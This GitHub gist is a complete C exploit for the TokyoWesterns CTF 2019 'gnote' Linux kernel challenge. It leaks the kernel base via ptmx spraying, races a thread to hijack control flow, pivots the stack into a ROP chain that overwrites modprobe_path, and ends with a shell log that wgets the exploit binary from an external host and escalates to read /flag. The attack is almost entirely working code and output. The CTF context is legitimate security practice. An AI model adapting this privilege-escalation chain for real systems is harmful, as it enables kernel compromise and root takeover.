Skip to content

Instantly share code, notes, and snippets.

@hama7230
Last active September 2, 2019 08:25
Show Gist options
  • Save hama7230/645dea838de243ca73b94b35b24cd510 to your computer and use it in GitHub Desktop.
Save hama7230/645dea838de243ca73b94b35b24cd510 to your computer and use it in GitHub Desktop.
TokyoWesterns CTF 5th 2019 gnote
I'm not the author of "gnote". the autor is ga_ryo_
However I wrote my own exploit code to check if the challenge is solvable before starting the contest.
// gcc -static -masm=intel -o exp exp.c -lpthread
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <pthread.h>
int fd ;
unsigned int args[2] = {0, 0};
int ptmx_fds[0x100];
void open_ptmx(void) {
for (int i=0; i<0x100; i++)
ptmx_fds[i] = open("/dev/ptmx", O_NOCTTY|O_RDWR);
}
void close_ptmx(void) {
for (int i=0; i<0x100; i++)
close(ptmx_fds[i]);
}
int g_write_add(unsigned int size) {
unsigned int buf[2] = {1, size};
return write(fd, buf, 0xbeef);
}
int g_write_select(unsigned int idx) {
unsigned int buf[2] = {5, idx};
return write(fd, buf, 0xdead);
}
int g_read(unsigned long* buf, unsigned int size) {
return read(fd, buf, size);
}
void* thread() {
while (1) {
args[0] = 5;
write(fd, args, 0xbad);
}
}
int main(void) {
fd = open("/proc/gnote", O_RDWR);
if (fd < 0)
exit(1);
// leak kernel base address
unsigned long tmp[0x400/8];
memset(tmp, 0, sizeof(tmp));
open_ptmx();
close_ptmx();
g_write_add(0x400);
g_write_add(0x400);
g_write_select(0);
g_read(tmp, 0x400);
/*
for (int i=0; i<0x400/8; i++)
printf("%lx ", tmp[i]);
*/
unsigned long leak = tmp[0x2b0/8];
printf("leak = %lx\n", leak);
// ffffffff812ac7d0
if (leak&0xfff != 0x7d0) {
g_write_select(1);
g_read(tmp, 0x400);
}
leak = tmp[0x2b0/8];
unsigned long kernel_base = leak - 0x2ac7d0;
printf("kernel_base = 0x%lx\n", kernel_base);
unsigned long* fake_table = mmap((void*)0x6b5000000, 0x1000000, PROT_READ|PROT_WRITE|PROT_EXEC, 0x32 | MAP_POPULATE, -1, 0);
// memset(fake_table, 'A', 0x1000000);
// 0xffffffff81254075: mov esp, 0x5B000000 ; pop r12 ; pop rbp ; ret ; (1 found)
unsigned long pivot_gadget = kernel_base + 0x254075;
for (int i=0; i<0x1000000/8; i++)
fake_table[i] = pivot_gadget;
unsigned long* fake_stack = mmap((void*)0x5B000000-0x1000, 0x10000, PROT_READ|PROT_WRITE|PROT_EXEC, 0x32 | MAP_POPULATE, -1, 0);
unsigned long modprobe_path = kernel_base + 0xc2c540;
// 0xffffffff810eb471: mov qword [rax], rdi ; pop rbp ; ret ; (1 found)
// 0xffffffff810209e1: pop rax ; ret ; (13 found)
// 0xffffffff8101c20d: pop rdi ; ret ; (31 found)
unsigned long pop_rax = kernel_base + 0x209e1;
unsigned long pop_rdi = kernel_base + 0x1c20d;
unsigned long mov_rax_rdi = kernel_base + 0x0eb471;
unsigned long infinite_loop = kernel_base + 0x215;
fake_stack += (0x1000/8);
*fake_stack++ = 0xdeadbeef;
*fake_stack++ = 0xdeadbeef;
*fake_stack++ = pop_rax;
*fake_stack++ = modprobe_path;
*fake_stack++ = pop_rdi;
*fake_stack++ = 0x612f706d742f;
*fake_stack++ = mov_rax_rdi;
*fake_stack++ = 0xdeadbeef;
*fake_stack++ = infinite_loop;
pthread_t t;
pthread_create(&t, NULL, thread, (void*)NULL);
while (1) {
args[0]=0xdeadbeef;
}
return 0;
}
/ $ cd tmp && wget http://storage.googleapis.com/unko_garyo_exp/exp && chmod +x
./exp
Connecting to storage.googleapis.com (172.217.24.144:80)
exp 100% |********************************| 873k 0:00:00 ETA
/tmp $ ./exp &
leak = ffffffff8f0ac7d0
kernel_base = 0xffffffff8ee00000
/tmp $ cat /proc/sys/kernel/modprobe
/tmp/a
/tmp $ echo -ne "\xff\xff\xff\xff" > /tmp/b && chmod +x /tmp/b
/tmp $ echo -ne "#!/bin/sh\n/bin/chmod -R 4777 /flag\n" > /tmp/a && chmod +x /tm
p/a
/tmp $ ./b
./b: line 1: ����: not found
/tmp $ ls -al /flag
-rwsrwxrwx 1 root root 40 Aug 30 15:29 /flag
/tmp $ cat /flag
TWCTF{Ga_ryo_is_master_of_note_creator}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment